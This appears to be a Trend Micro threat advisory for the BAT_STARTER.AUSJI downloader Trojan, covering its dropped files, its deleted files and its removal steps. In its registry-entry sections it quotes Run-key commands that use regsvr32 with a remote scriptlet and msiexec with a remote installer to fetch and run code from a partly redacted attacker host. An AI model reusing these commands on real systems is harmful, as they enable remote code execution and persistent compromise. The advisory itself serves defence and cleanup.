BAT_STARTER.AUSJI
Win.Downloader.Regsvr32Unregister-6335677-1 (ClamAV)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
However, as of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
1,257 bytes
BAT
No
31 Jan 2018
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %System%\s
- {malware path}\1.txt
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
Other System Modifications
This Trojan deletes the following files:
- %Windows%\Logo1_.exe
- %Windows%\dell\Update64.exe
- {malware path}\Misiai.exe
- %Windows%\RichDllt.dll
- %Windows%\winhost.exe
- %Windows%\updat.exe
- %Windows%\netcore.exe
- %Windows%\ygwmgo.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
It adds the following registry entries:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
start = regsvr32 /u /s /i:http://js.{BLOCKED}ings.top:280/v.sct scrobj.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
start1 = msiexec.exe /i http://js.{BLOCKED}ings.top:280/helloworld.msi /q
Download Routine
This Trojan saves the files it downloads using the following names:
- %System%\a.exe
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
Other Details
This Trojan connects to the following possibly malicious URL:
- down.{BLOCKED}g.info
However, as of this writing, the said sites are inaccessible.
SOLUTION
9.850
13.938.03
31 Jan 2018
13.939.00
01 Feb 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- start = regsvr32 /u /s /i:http://js.{BLOCKED}s.top:280/v.sct scrobj.dll
- start = regsvr32 /u /s /i:http://js.{BLOCKED}s.top:280/v.sct scrobj.dll
- In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- start1 = msiexec.exe /i http://js.{BLOCKED}s.top:280/helloworld.msi /q
- start1 = msiexec.exe /i http://js.{BLOCKED}s.top:280/helloworld.msi /q
Step 4
Search and delete this file
- %System%\s
- {malware path}\1.txt
- %System%\a.exe
Step 5
Delete the Scheduled Tasks added by this malware/grayware
To delete the added Scheduled Task file:
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. To do this, click Start>Programs>Accessories>System Tools>Scheduled Tasks.
- Double-click on a .JOB file.
- Check if the malware path and file name exists in the .JOB file. To do this, check the value in the Run field.
- If found, select the .JOB file then press SHIFT+DELETE to permanently delete the file.
- Repeat the steps above for the remaining .JOB files.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel of the Task Scheduler Window, click Task Scheduler Library.
- In the upper-middle panel, click a Task.
- In the lower middle panel, click the Actions tab
- Check if the malware path and file name exists in the task. To do this, check the value in the Details column under the Actions tab.
- If found, select the task and press DELETE and click Yes to delete the task.
- Repeat the steps above for the remaining tasks.
Step 6
Restore these deleted files from backup
*Note: Only Microsoft-related keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.
Step 7
Scan your computer with your Trend Micro product to delete files detected as BAT_STARTER.AUSJI. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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